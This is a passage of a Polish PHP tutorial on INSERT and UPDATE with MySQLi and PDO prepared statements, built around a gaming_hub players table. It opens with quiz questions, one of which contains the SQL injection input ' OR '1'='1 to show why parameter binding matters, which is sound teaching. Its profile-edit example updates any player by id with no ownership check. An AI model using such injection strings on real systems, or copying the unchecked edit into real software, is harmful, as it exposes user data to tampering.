5. Użytkownik wpisuje w pole wyszukiwania ' OR '1'='1. Co się stanie, gdy tekst zostanie wklejony do zapytania SQL, a co gdy trafi tam przez bind_param()?

6. wczytajUzytkownika($polaczenie, 99) zwraca null. Czy to awaria bazy? Uzasadnij.

TaskQuest

Dodatek

W poprzednim materiale nauczyłeś się pobierać dane z bazy używając zapytań SELECT. Teraz czas na operacje, które zmieniają dane:

• INSERT – dodawanie nowych rekordów (np. rejestracja gracza, dodanie posta)
• UPDATE – aktualizacja istniejących danych (np. zmiana poziomu, edycja profilu)
• DELETE – usuwanie rekordów (np. usunięcie konta, skasowanie komentarza)

Te operacje są fundamentem każdej aplikacji:

• Rejestracja użytkownika → INSERT
• Aktualizacja avatara → UPDATE
• Usunięcie spamu → DELETE
• System komentarzy → INSERT + UPDATE + DELETE

UWAGA: Operacje zmieniające dane są nieodwracalne! Zawsze używaj prepared statements i walidacji danych.

Będziemy pracować na bazie gaming_hub z poprzedniego materiału. Upewnij się, że masz utworzoną tabelę players

UWAGA: Przedstawione poniżej przykłady nie są zabezpieczone przed odświeżaniem strony (F5) lub ponownym kliknięciem przycisku zmieniającego dane. Każde odświeżenie strony będzie powodowało ponowne wykonanie operacji na bazie. Jak to zrobić opiszę na końcu materiału.

INSERT – Dodawanie nowych rekordów

Przykład 1: Rejestracja gracza (formularz POST)

MySQLi obiektowo:

<?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db->connect_error) {
    die('Błąd połączenia');
}

$db->set_charset('utf8mb4');

$errors = [];
$success = false;

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Pobieramy i czyszczenie dane z formularza
    $username = trim($_POST['username'] ?? '');
    $email = trim($_POST['email'] ?? '');
    $password = $_POST['password'] ?? '';
    $password_confirm = $_POST['password_confirm'] ?? '';
    
    // Walidacja danych
    if (empty($username)) {
        $errors[] = "Nick jest wymagany";
    } elseif (strlen($username) < 3) {
        $errors[] = "Nick musi mieć minimum 3 znaki";
    } elseif (strlen($username) > 50) {
        $errors[] = "Nick może mieć maksymalnie 50 znaków";
    } elseif (!preg_match('/^[a-zA-Z0-9_]+$/', $username)) {
        $errors[] = "Nick może zawierać tylko litery, cyfry i podkreślnik";
    }
    
    if (empty($email)) {
        $errors[] = "Email jest wymagany";
    } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        $errors[] = "Nieprawidłowy format email";
    }
    
    if (empty($password)) {
        $errors[] = "Hasło jest wymagane";
    } elseif (strlen($password) < 8) {
        $errors[] = "Hasło musi mieć minimum 8 znaków";
    }
    
    if ($password !== $password_confirm) {
        $errors[] = "Hasła nie są identyczne";
    }
    
    // Jeśli brak błędów walidacji - sprawdzamy czy nick/email już istnieją
    if (empty($errors)) {
        // BEZPIECZNE - sprawdzamy czy username już istnieje
        $stmt = $db->prepare("SELECT id FROM players WHERE username = ?");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        
        if ($stmt->num_rows > 0) {
            $errors[] = "Nick '{$username}' jest już zajęty";
        }
        $stmt->close();
        
        // BEZPIECZNE - sprawdzamy czy email już istnieje
        $stmt = $db->prepare("SELECT id FROM players WHERE email = ?");
        $stmt->bind_param("s", $email);
        $stmt->execute();
        $stmt->store_result();
        
        if ($stmt->num_rows > 0) {
            $errors[] = "Email '{$email}' jest już zarejestrowany";
        }
        $stmt->close();
    }
    
    // Jeśli wszystko OK - dodajemy gracza do bazy
    if (empty($errors)) {
        // Hashowanie hasła (NIGDY nie zapisuj hasła w plain text!)
        $password_hash = password_hash($password, PASSWORD_DEFAULT);
        
        // BEZPIECZNE - INSERT z prepared statement
        $stmt = $db->prepare("INSERT INTO players (username, email, password, created_at) VALUES (?, ?, ?, NOW())");
        $stmt->bind_param("sss", $username, $email, $password_hash);
        
        if ($stmt->execute()) {
            // Pobieramy ID dodanego gracza
            $new_player_id = $stmt->insert_id;
            
            // Sprawdzamy ile wierszy zostało dodanych
            $affected_rows = $stmt->affected_rows;
            
            $success = true;
            $success_message = "Gracz '{$username}' został zarejestrowany! ID: {$new_player_id}";
            
            // Możemy od razu zalogować użytkownika
            // session_start();
            // $_SESSION['user_id'] = $new_player_id;
            // $_SESSION['username'] = $username;
            
        } else {
            $errors[] = "Wystąpił błąd podczas rejestracji: {$stmt->error}";
        }
        
        $stmt->close();
    }
}

$db->close();
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Rejestracja gracza</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.2);
            width: 100%;
            max-width: 500px;
        }
        h1 {
            margin-bottom: 30px;
            color: #333;
            text-align: center;
        }
        .form-group {
            margin-bottom: 20px;
        }
        label {
            display: block;
            margin-bottom: 5px;
            color: #555;
            font-weight: 500;
        }
        input {
            width: 100%;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 5px;
            font-size: 14px;
            transition: border-color 0.3s;
        }
        input:focus {
            outline: none;
            border-color: #667eea;
        }
        button {
            width: 100%;
            padding: 12px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
            transition: background 0.3s;
        }
        button:hover {
            background: #764ba2;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #f5c6cb;
        }
        .error ul {
            margin-left: 20px;
        }
        .success {
            background: #d4edda;
            color: #155724;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #c3e6cb;
            text-align: center;
        }
        .info {
            background: #d1ecf1;
            color: #0c5460;
            padding: 10px;
            border-radius: 5px;
            margin-top: 15px;
            font-size: 12px;
        }
    </style>
</head>
<body>

<div class="container">
    <h1>Rejestracja Gracza</h1>
    
    <?php if ($success): ?>
        <div class="success">
            <?= htmlspecialchars($success_message) ?>
            <br><br>
            <a href="profil.php?id=<?= $new_player_id ?>">Zobacz profil</a> | 
            <a href="lista_graczy.php">Lista graczy</a>
        </div>
    <?php endif; ?>
    
    <?php if (!empty($errors)): ?>
        <div class="error">
            <strong>Błędy walidacji:</strong>
            <ul>
                <?php foreach ($errors as $error): ?>
                    <li><?= htmlspecialchars($error) ?></li>
                <?php endforeach; ?>
            </ul>
        </div>
    <?php endif; ?>
    
    <form method="POST">
        <div class="form-group">
            <label>Nick gracza:</label>
            <input type="text" name="username" 
                   value="<?= htmlspecialchars($_POST['username'] ?? '') ?>" 
                   placeholder="np. ProGamer123" 
                   required>
        </div>
        
        <div class="form-group">
            <label>Email:</label>
            <input type="email" name="email" 
                   value="<?= htmlspecialchars($_POST['email'] ?? '') ?>" 
                   placeholder="twoj@email.com" 
                   required>
        </div>
        
        <div class="form-group">
            <label>Hasło:</label>
            <input type="password" name="password" 
                   placeholder="Min. 8 znaków" 
                   required>
        </div>
        
        <div class="form-group">
            <label>Powtórz hasło:</label>
            <input type="password" name="password_confirm" 
                   placeholder="Powtórz hasło" 
                   required>
        </div>
        
        <button type="submit">Zarejestruj się</button>
        
        <div class="info">
            <strong>Wymagania:</strong><br>
            • Nick: 3-50 znaków (litery, cyfry, podkreślnik)<br>
            • Hasło: minimum 8 znaków<br>
            • Poprawny format email
        </div>
    </form>
</div>

</body>
</html>

PDO:

<?php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES => false
        ]
    );
    
    $errors = [];
    $success = false;
    
    // PROFESJONALNE - sprawdzamy metodę HTTP
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        // Pobieramy i czyszczenie dane z formularza
        $username = trim($_POST['username'] ?? '');
        $email = trim($_POST['email'] ?? '');
        $password = $_POST['password'] ?? '';
        $password_confirm = $_POST['password_confirm'] ?? '';
        
        // Walidacja danych
        if (empty($username)) {
            $errors[] = "Nick jest wymagany";
        } elseif (strlen($username) < 3) {
            $errors[] = "Nick musi mieć minimum 3 znaki";
        } elseif (strlen($username) > 50) {
            $errors[] = "Nick może mieć maksymalnie 50 znaków";
        } elseif (!preg_match('/^[a-zA-Z0-9_]+$/', $username)) {
            $errors[] = "Nick może zawierać tylko litery, cyfry i podkreślnik";
        }
        
        if (empty($email)) {
            $errors[] = "Email jest wymagany";
        } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            $errors[] = "Nieprawidłowy format email";
        }
        
        if (empty($password)) {
            $errors[] = "Hasło jest wymagane";
        } elseif (strlen($password) < 8) {
            $errors[] = "Hasło musi mieć minimum 8 znaków";
        }
        
        if ($password !== $password_confirm) {
            $errors[] = "Hasła nie są identyczne";
        }
        
        // Jeśli brak błędów walidacji - sprawdzamy czy nick/email już istnieją
        if (empty($errors)) {
            // BEZPIECZNE - sprawdzamy czy username już istnieje
            $stmt = $pdo->prepare("SELECT id FROM players WHERE username = :username");
            $stmt->execute(['username' => $username]);
            
            if ($stmt->fetch()) {
                $errors[] = "Nick '{$username}' jest już zajęty";
            }
            
            // BEZPIECZNE - sprawdzamy czy email już istnieje
            $stmt = $pdo->prepare("SELECT id FROM players WHERE email = :email");
            $stmt->execute(['email' => $email]);
            
            if ($stmt->fetch()) {
                $errors[] = "Email '{$email}' jest już zarejestrowany";
            }
        }
        
        // Jeśli wszystko OK - dodajemy gracza do bazy
        if (empty($errors)) {
            // Hashowanie hasła (NIGDY nie zapisuj hasła w plain text!)
            $password_hash = password_hash($password, PASSWORD_DEFAULT);
            
            // BEZPIECZNE - INSERT z prepared statement
            $stmt = $pdo->prepare("INSERT INTO players (username, email, password, created_at) VALUES (:username, :email, :password, NOW())");
            
            if ($stmt->execute([
                'username' => $username,
                'email' => $email,
                'password' => $password_hash
            ])) {
                // Pobieramy ID dodanego gracza
                $new_player_id = $pdo->lastInsertId();
                
                // Sprawdzamy ile wierszy zostało dodanych
                $affected_rows = $stmt->rowCount();
                
                $success = true;
                $success_message = "Gracz '{$username}' został zarejestrowany! ID: {$new_player_id}";
                
                // Możemy od razu zalogować użytkownika
                // session_start();
                // $_SESSION['user_id'] = $new_player_id;
                // $_SESSION['username'] = $username;
            }
        }
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e->getMessage()}");
    $errors[] = "Wystąpił błąd podczas rejestracji. Spróbuj ponownie.";
}

$pdo = null;
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Rejestracja gracza</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.2);
            width: 100%;
            max-width: 500px;
        }
        h1 {
            margin-bottom: 30px;
            color: #333;
            text-align: center;
        }
        .form-group {
            margin-bottom: 20px;
        }
        label {
            display: block;
            margin-bottom: 5px;
            color: #555;
            font-weight: 500;
        }
        input {
            width: 100%;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 5px;
            font-size: 14px;
            transition: border-color 0.3s;
        }
        input:focus {
            outline: none;
            border-color: #667eea;
        }
        button {
            width: 100%;
            padding: 12px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
            transition: background 0.3s;
        }
        button:hover {
            background: #764ba2;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #f5c6cb;
        }
        .error ul {
            margin-left: 20px;
        }
        .success {
            background: #d4edda;
            color: #155724;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #c3e6cb;
            text-align: center;
        }
        .info {
            background: #d1ecf1;
            color: #0c5460;
            padding: 10px;
            border-radius: 5px;
            margin-top: 15px;
            font-size: 12px;
        }
    </style>
</head>
<body>

<div class="container">
    <h1>Rejestracja Gracza</h1>
    
    <?php if ($success): ?>
        <div class="success">
            <?= htmlspecialchars($success_message) ?>
            <br><br>
            <a href="profil.php?id=<?= $new_player_id ?>">Zobacz profil</a> | 
            <a href="lista_graczy.php">Lista graczy</a>
        </div>
    <?php endif; ?>
    
    <?php if (!empty($errors)): ?>
        <div class="error">
            <strong>Błędy walidacji:</strong>
            <ul>
                <?php foreach ($errors as $error): ?>
                    <li><?= htmlspecialchars($error) ?></li>
                <?php endforeach; ?>
            </ul>
        </div>
    <?php endif; ?>
    
    <form method="POST">
        <div class="form-group">
            <label>Nick gracza:</label>
            <input type="text" name="username" 
                   value="<?= htmlspecialchars($_POST['username'] ?? '') ?>" 
                   placeholder="np. ProGamer123" 
                   required>
        </div>
        
        <div class="form-group">
            <label>Email:</label>
            <input type="email" name="email" 
                   value="<?= htmlspecialchars($_POST['email'] ?? '') ?>" 
                   placeholder="twoj@email.com" 
                   required>
        </div>
        
        <div class="form-group">
            <label>Hasło:</label>
            <input type="password" name="password" 
                   placeholder="Min. 8 znaków" 
                   required>
        </div>
        
        <div class="form-group">
            <label>Powtórz hasło:</label>
            <input type="password" name="password_confirm" 
                   placeholder="Powtórz hasło" 
                   required>
        </div>
        
        <button type="submit">Zarejestruj się</button>
        
        <div class="info">
            <strong>Wymagania:</strong><br>
            • Nick: 3-50 znaków (litery, cyfry, podkreślnik)<br>
            • Hasło: minimum 8 znaków<br>
            • Poprawny format email
        </div>
    </form>
</div>

</body>
</html>

Sprawdzanie wyniku operacji INSERT

Metody sprawdzania dla MySQLi:

// 1. Pobierz ID ostatnio dodanego rekordu
$new_id = $stmt->insert_id;  // Obiektowo
$new_id = mysqli_insert_id($db);  // Proceduralnie

// 2. Sprawdź ile wierszy zostało dodanych
$affected_rows = $stmt->affected_rows;  // Obiektowo
$affected_rows = mysqli_affected_rows($db);  // Proceduralnie

// 3. Sprawdź czy zapytanie się wykonało
if ($stmt->execute()) {
    echo "Sukces!";
} else {
    echo "Błąd: {$stmt->error}";
}

Metody sprawdzania dla PDO:

// 1. Pobierz ID ostatnio dodanego rekordu
$new_id = $pdo->lastInsertId();

// 2. Sprawdź ile wierszy zostało dodanych
$affected_rows = $stmt->rowCount();

// 3. Sprawdź czy zapytanie się wykonało
if ($stmt->execute()) {
    echo "Sukces!";
} else {
    echo "Błąd!";
}

// 4. Obsługa wyjątków (try-catch)
try {
    $stmt->execute();
    echo "Sukces!";
} catch (PDOException $e) {
    echo "Błąd: {$e->getMessage()}";
}

Przykład 2: Dodawanie wielu graczy naraz (batch INSERT)

MySQLi obiektowo:

<?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db->connect_error) {
    die('Błąd połączenia');
}

$db->set_charset('utf8mb4');

// Tablica graczy do dodania
$gracze = [
    ['username' => 'TestPlayer1', 'email' => 'test1@example.com', 'level' => 5],
    ['username' => 'TestPlayer2', 'email' => 'test2@example.com', 'level' => 10],
    ['username' => 'TestPlayer3', 'email' => 'test3@example.com', 'level' => 15]
];

// BEZPIECZNE - przygotowanie zapytania raz
$stmt = $db->prepare("INSERT INTO players (username, email, level, created_at) VALUES (?, ?, ?, NOW())");

$dodano = 0;
$bledy = [];

foreach ($gracze as $gracz) {
    // Bindowanie parametrów
    $stmt->bind_param("ssi", $gracz['username'], $gracz['email'], $gracz['level']);
    
    if ($stmt->execute()) {
        $dodano++;
        
        // Możesz pobrać ID każdego dodanego gracza
        $last_id = $stmt->insert_id;
        echo "Dodano: {$gracz['username']} (ID: {$last_id})<br>";
    } else {
        $bledy[] = "Błąd dla {$gracz['username']}: {$stmt->error}";
    }
}

echo "<br><strong>Podsumowanie:</strong><br>";
echo "Dodano: {$dodano} graczy<br>";
echo "Błędów: " . count($bledy) . "<br>";

if (!empty($bledy)) {
    echo "<br><strong>Szczegóły błędów:</strong><br>";
    foreach ($bledy as $blad) {
        echo "{$blad}<br>";
    }
}

$stmt->close();
$db->close();
?>

PDO:

<?php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES => false
        ]
    );
    
    // Tablica graczy do dodania
    $gracze = [
        ['username' => 'TestPlayer1', 'email' => 'test1@example.com', 'level' => 5],
        ['username' => 'TestPlayer2', 'email' => 'test2@example.com', 'level' => 10],
        ['username' => 'TestPlayer3', 'email' => 'test3@example.com', 'level' => 15]
    ];
    
    // BEZPIECZNE - przygotowanie zapytania raz
    $stmt = $pdo->prepare("INSERT INTO players (username, email, level, created_at) VALUES (:username, :email, :level, NOW())");
    
    $dodano = 0;
    $bledy = [];
    
    foreach ($gracze as $gracz) {
        try {
            $stmt->execute($gracz);
            $dodano++;
            
            // Możesz pobrać ID każdego dodanego gracza
            $last_id = $pdo->lastInsertId();
            echo "Dodano: {$gracz['username']} (ID: {$last_id})<br>";
            
        } catch (PDOException $e) {
            $bledy[] = "Błąd dla {$gracz['username']}: {$e->getMessage()}";
        }
    }
    
    echo "<br><strong>Podsumowanie:</strong><br>";
    echo "Dodano: {$dodano} graczy<br>";
    echo "Błędów: " . count($bledy) . "<br>";
    
    if (!empty($bledy)) {
        echo "<br><strong>Szczegóły błędów:</strong><br>";
        foreach ($bledy as $blad) {
            echo "{$blad}<br>";
        }
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e->getMessage()}");
    die('Błąd bazy danych');
}

$pdo = null;
?>

UPDATE – Aktualizacja istniejących rekordów

Przykład 3: Edycja profilu gracza (formularz POST)

MySQLi obiektowo:

<?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db->connect_error) {
    die('Błąd połączenia');
}

$db->set_charset('utf8mb4');

$errors = [];
$success = false;
$gracz = null;

// Pobieramy ID gracza z URL
$player_id = (int)($_GET['id'] ?? 0);

if ($player_id <= 0) {
    die('Nieprawidłowe ID gracza');
}

// Pobieramy dane gracza do wyświetlenia w formularzu
$stmt = $db->prepare("SELECT * FROM players WHERE id = ?");
$stmt->bind_param("i", $player_id);
$stmt->execute();
$wynik = $stmt->get_result();
$gracz = $wynik->fetch_assoc();
$stmt->close();

if (!$gracz) {
    die('Nie znaleziono gracza o ID: ' . $player_id);
}

// PROFESJONALNE - sprawdzamy metodę HTTP
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Pobieramy dane z formularza
    $email = trim($_POST['email'] ?? '');
    $level = (int)($_POST['level'] ?? 1);
    $coins = (int)($_POST['coins'] ?? 0);
    $rank_name = $_POST['rank_name'] ?? 'Bronze';
    
    // Walidacja danych
    if (empty($email)) {
        $errors[] = "Email jest wymagany";
    } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        $errors[] = "Nieprawidłowy format email";
    }
    
    if ($level < 1 || $level > 100) {
        $errors[] = "Poziom musi być między 1 a 100";
    }
    
    if ($coins < 0) {
        $errors[] = "Coins nie może być ujemny";
    }
    
    $allowed_ranks = ['Bronze', 'Silver', 'Gold', 'Platinum', 'Diamond', 'Master', 'Grandmaster'];
    if (!in_array($rank_name, $allowed_ranks)) {
        $errors[] = "Nieprawidłowa ranga";
    }
    
    // Sprawdzamy czy email nie jest już używany przez innego gracza
    if (empty($errors)) {
        $stmt = $db->prepare("SELECT id FROM players WHERE email = ? AND id != ?");
        $stmt->bind_param("si", $email, $player_id);
        $stmt->execute();
        $stmt->store_result();
        
        if ($stmt->num_rows > 0) {
            $errors[] = "Email '{$email}' jest już używany przez innego gracza";
        }
        $stmt->close();
    }
    
    // Jeśli brak błędów - aktualizujemy dane
    if (empty($errors)) {
        // BEZPIECZNE - UPDATE z prepared statement
        $stmt = $db->prepare("UPDATE players SET email = ?, level = ?, coins = ?, rank_name = ?, updated_at = NOW() WHERE id = ?");
        $stmt->bind_param("siisi", $email, $level, $coins, $rank_name, $player_id);
        
        if ($stmt->execute()) {
            // Sprawdzamy ile wierszy zostało zaktualizowanych
            $affected_rows = $stmt->affected_rows;
            
            if ($affected_rows > 0) {
                $success = true;
                $success_message = "Profil gracza '{$gracz['username']}' został zaktualizowany! (Zmieniono {$affected_rows} rekord)";
                
                // Odświeżamy dane gracza
                $stmt_refresh = $db->prepare("SELECT * FROM players WHERE id = ?");
                $stmt_refresh->bind_param("i", $player_id);
                $stmt_refresh->execute();
                $wynik_refresh = $stmt_refresh->get_result();
                $gracz = $wynik_refresh->fetch_assoc();
                $stmt_refresh->close();
            } else {
                $success_message = "Nie wprowadzono żadnych zmian (dane są identyczne)";
            }
        } else {
            $errors[] = "Wystąpił błąd podczas aktualizacji: {$stmt->error}";
        }
        
        $stmt->close();
    }
}

$db->close();
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Edycja profilu - <?= htmlspecialchars($gracz['username']) ?></title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            padding: 20px;
        }
        .container {
            max-width: 800px;
            margin: 0 auto;
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.2);
        }
        h1 {
            margin-bottom: 10px;
            color: #333;
        }
        .subtitle {
            color: #666;
            margin-bottom: 30px;
        }
        .form-group {
            margin-bottom: 20px;
        }
        label {
            display: block;
            margin-bottom: 5px;
            color: #555;
            font-weight: 500;
        }
        input, select {
            width: 100%;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 5px;
            font-size: 14px;
        }
        input:focus, select:focus {
            outline: none;
            border-color: #667eea;
        }
        .form-row {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 20px;
        }
        button {
            width: 100%;
            padding: 12px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
            transition: background 0.3s;
        }
        button:hover {
            background: #764ba2;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #f5c6cb;
        }
        .error ul {
            margin-left: 20px;
        }
        .success {
            background: #d4edda;
            color: #155724;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #c3e6cb;
        }
        .info-box {
            background: #e7f3ff;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #2196F3;
        }
        .back-link {
            display: inline-block;
            margin-top: 20px;
            color: #667eea;
            text-decoration: none;
        }
        .back-link:hover {
            text-decoration: underline;
        }
    </style>
</head>
<body>

<div class="container">
    <h1>Edycja profilu gracza</h1>
    <div class="subtitle">ID: <?= $gracz['id'] ?> | Nick: <strong><?= htmlspecialchars($gracz['username']) ?></strong></div>
    
    <?php if ($success): ?>
        <div class="success">
            <?= htmlspecialchars($success_message) ?>
        </div>
    <?php endif; ?>
    
    <?php if (!empty($errors)): ?>
        <div class="error">
            <strong>Błędy walidacji:</strong>
            <ul>
                <?php foreach ($errors as $error): ?>
                    <li><?= htmlspecialchars($error) ?></li>
                <?php endforeach; ?>
            </ul>
        </div>
    <?php endif; ?>
    
    <div class="info-box">
        <strong>Informacje:</strong><br>
        • Nick gracza nie może być edytowany (to unikalna nazwa)<br>
        • Hasło można zmienić w osobnej sekcji zabezpieczeń<br>
        • Data rejestracji: <?= date('d.m.Y H:i', strtotime($gracz['created_at'])) ?>
    </div>
    
    <form method="POST">
        <div class="form-group">
            <label>Email:</label>
            <input type="email" name="email" 
                   value="<?= htmlspecialchars($gracz['email']) ?>" 
                   required>
        </div>
        
        <div class="form-row">
            <div class="form-group">
                <label>Poziom (1-100):</label>
                <input type="number" name="level" 
                       min="1" max="100"
                       value="<?= $gracz['level'] ?>" 
                       required>
            </div>
            
            <div class="form-group">
                <label>Coins:</label>
                <input type="number" name="coins" 
                       min="0"
                       value="<?= $gracz['coins'] ?>" 
                       required>
            </div>
        </div>
        
        <div class="form-group">
            <label>Ranga:</label>
            <select name="rank_name" required>
                <option value="Bronze" <?= $gracz['rank_name'] == 'Bronze' ? 'selected' : '' ?>>Bronze</option>
                <option value="Silver" <?= $gracz['rank_name'] == 'Silver' ? 'selected' : '' ?>>Silver</option>
                <option value="Gold" <?= $gracz['rank_name'] == 'Gold' ? 'selected' : '' ?>>Gold</option>
                <option value="Platinum" <?= $gracz['rank_name'] == 'Platinum' ? 'selected' : '' ?>>Platinum</option>
                <option value="Diamond" <?= $gracz['rank_name'] == 'Diamond' ? 'selected' : '' ?>>Diamond</option>
                <option value="Master" <?= $gracz['rank_name'] == 'Master' ? 'selected' : '' ?>>Master</option>
                <option value="Grandmaster" <?= $gracz['rank_name'] == 'Grandmaster' ? 'selected' : '' ?>>Grandmaster</option>
            </select>
        </div>
        
        <button type="submit">Zapisz zmiany</button>
    </form>
    
    <a href="profil.php?id=<?= $player_id ?>" class="back-link">← Powrót do profilu</a>
</div>

</body>
</html>

PDO:

<?php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES => false
        ]
    );
    
    $errors = [];
    $success = false;
    $gracz = null;
    
    // Pobieramy ID gracza z URL
    $player_id = (int)($_GET['id'] ?? 0);
    
    if ($player_id <= 0) {
        die('Nieprawidłowe ID gracza');
    }
    
    // Pobieramy dane gracza do wyświetlenia w formularzu
    $stmt = $pdo->prepare("SELECT * FROM players WHERE id = :id");
    $stmt->execute(['id' => $player_id]);
    $gracz = $stmt->fetch();
    
    if (!$gracz) {
        die('Nie znaleziono gracza o ID: ' . $player_id);
    }
    
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        // Pobieramy dane z formularza
        $email = trim($_POST['email'] ?? '');
        $level = (int)($_POST['level'] ?? 1);
        $coins = (int)($_POST['coins'] ?? 0);
        $rank_name = $_POST['rank_name'] ?? 'Bronze';
        
        // Walidacja danych
        if (empty($email)) {
            $errors[] = "Email jest wymagany";
        } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            $errors[] = "Nieprawidłowy format email";
        }
        
        if ($level < 1 || $level > 100) {
            $errors[] = "Poziom musi być między 1 a 100";
        }
        
        if ($coins < 0) {
            $errors[] = "Coins nie może być ujemny";
        }
        
        $allowed_ranks = ['Bronze', 'Silver', 'Gold', 'Platinum', 'Diamond', 'Master', 'Grandmaster'];
        if (!in_array($rank_name, $allowed_ranks)) {
            $errors[] = "Nieprawidłowa ranga";
        }
        
        // Sprawdzamy czy email nie jest już używany przez innego gracza
        if (empty($errors)) {
            $stmt = $pdo->prepare("SELECT id FROM players WHERE email = :email AND id != :id");
            $stmt->execute(['email' => $email, 'id' => $player_id]);
            
            if ($stmt->fetch()) {
                $errors[] = "Email '{$email}' jest już używany przez innego gracza";
            }
        }
        
        // Jeśli brak błędów - aktualizujemy dane
        if (empty($errors)) {
            // BEZPIECZNE - UPDATE z prepared statement
            $stmt = $pdo->prepare("UPDATE players SET email = :email, level = :level, coins = :coins, rank_name = :rank_name, updated_at = NOW() WHERE id = :id");
            
            if ($stmt->execute([
                'email' => $email,
                'level' => $level,
                'coins' => $coins,
                'rank_name' => $rank_name,
                'id' => $player_id
            ])) {
                // Sprawdzamy ile wierszy zostało zaktualizowanych
                $affected_rows = $stmt->rowCount();
                
                if ($affected_rows > 0) {
                    $success = true;
                    $success_message = "Profil gracza '{$gracz['username']}' został zaktualizowany! (Zmieniono {$affected_rows} rekord)";
                    
                    // Odświeżamy dane gracza
                    $stmt_refresh = $pdo->prepare("SELECT * FROM players WHERE id = :id");
                    $stmt_refresh->execute(['id' => $player_id]);
                    $gracz = $stmt_refresh->fetch();
                } else {
                    $success_message = "Nie wprowadzono żadnych zmian (dane są identyczne)";
                }
            }
        }
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e->getMessage()}");
    die('Błąd bazy danych');
}

$pdo = null;
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Edycja profilu - <?= htmlspecialchars($gracz['username']) ?></title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            padding: 20px;
        }
        .container {
            max-width: 800px;
            margin: 0 auto;
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.2);
        }
        h1 {
